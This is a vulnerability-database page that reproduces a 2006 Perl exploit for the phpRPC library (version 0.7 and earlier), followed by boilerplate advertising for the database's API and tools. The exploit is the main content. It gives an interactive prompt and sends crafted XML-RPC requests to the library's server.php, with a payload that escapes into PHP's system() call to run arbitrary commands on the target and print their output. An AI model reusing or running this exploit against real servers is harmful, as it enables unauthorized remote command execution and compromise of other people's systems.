Lucene search
K

phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

phpRPC Library 0.7 XML Data Decoding Remote Code Executio

Code

                                                #!/usr/bin/perl
#
# phpRPC &#60;=0.7 Remote Command Execution Exploit
#
# based on: http://www.gulftech.org/?node=research&article_id=00105-02262006
#
# Copyright (c) 2006 cijfer &#60;cijfer@netti!fi&#62;
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to &#39;http://target.com/dir&#39;
# cijfer$ 
#
# $Id: cijfer-prpcxpl.pl,v 0.1 2006/03/01 05:46:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions(&#34;host=s&#34; =&#62; \$host, &#34;proxy=s&#34; =&#62; \$proxy, &#34;verbose+&#34; =&#62; \$verbose);
&usage unless $host;

while()
{
	print color(&#34;green&#34;), &#34;cijfer\$ &#34;, color(&#34;reset&#34;);
	chomp($command = &#60;STDIN&#62;);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host=&#34;http://&#34;.$1;
		print &#34;host changed to &#39;&#34;;
		print color(&#34;bold&#34;), $host.&#34;&#39;\n&#34;, color(&#34;reset&#34;);
	}
	else
	{
		&exploit($command,$host);
	}
}

sub usage
{
	print &#34;phpRPC &#60;=0.7 Remote Command Execution Exploit\n&#34;;
	print &#34;usage: $0 -hpv\n\n&#34;;
	print &#34;  -h, --host\t\tfull address of target (ex. http://www.website.com/dir)\n&#34;;
	print &#34;  -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n&#34;;
	print &#34;  -v, --verbose\t\tverbose mode (debug)\n\n&#34;;
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cij=LWP::UserAgent-&#62;new() or die;
	$cij-&#62;agent(&#34;Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101&#34;);
	$cij-&#62;proxy(&#34;http&#34;, &#34;http://&#34;.$proxy.&#34;/&#34;) unless !$proxy;

	$string  = shift;
	$xml     = &#34;&#60;?xml version=\&#34;1.0\&#34;?&#62;&#34;;
	$xml    .= &#34;&#60;methodCall&#62;&#34;;
	$xml    .= &#34;&#60;methodName&#62;cijfer&#34;;
	$xml    .= &#34;    &#60;params&#62;&#34;;
	$xml    .= &#34;	    &#60;param&#62;&#34;;
	$xml    .= &#34;	    &#60;value&#62;&#60;base64&#62;&#39;));echo\&#34;_cijfer_\n\&#34;;system(&#39;&#34;.$string.&#34;&#39;);echo\&#34;_cijfer_\&#34;;exit();&#34;;
	$xml    .= &#34;	    &#60;/param&#62;&#34;;
	$xml    .= &#34;    &#60;/params&#62;&#34;;
	$xml    .= &#34;&#60;/methodCall&#62;&#34;;

	$req=new HTTP::Request &#39;POST&#39;=&#62;$host.&#34;/modules/phpRPC/server.php&#34;;
	$req-&#62;content_type(&#34;text/xml&#34;);
	$req-&#62;content($xml);
	$out=$cij-&#62;request($req);

	if($out-&#62;is_success)
	{
		@cij=split(&#34;_cijfer_&#34;,$out-&#62;content);
		print substr(@cij[1],1);
	}

	if($verbose)
	{
		$recv=length $out-&#62;content;
		print &#34;Total received bytes: &#34;.$recv.&#34;\n&#34;;
		$sent=length $command;
		print &#34;Total sent bytes: &#34;.$sent.&#34;\n&#34;;
	}
}

# milw0rm.com [2006-03-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15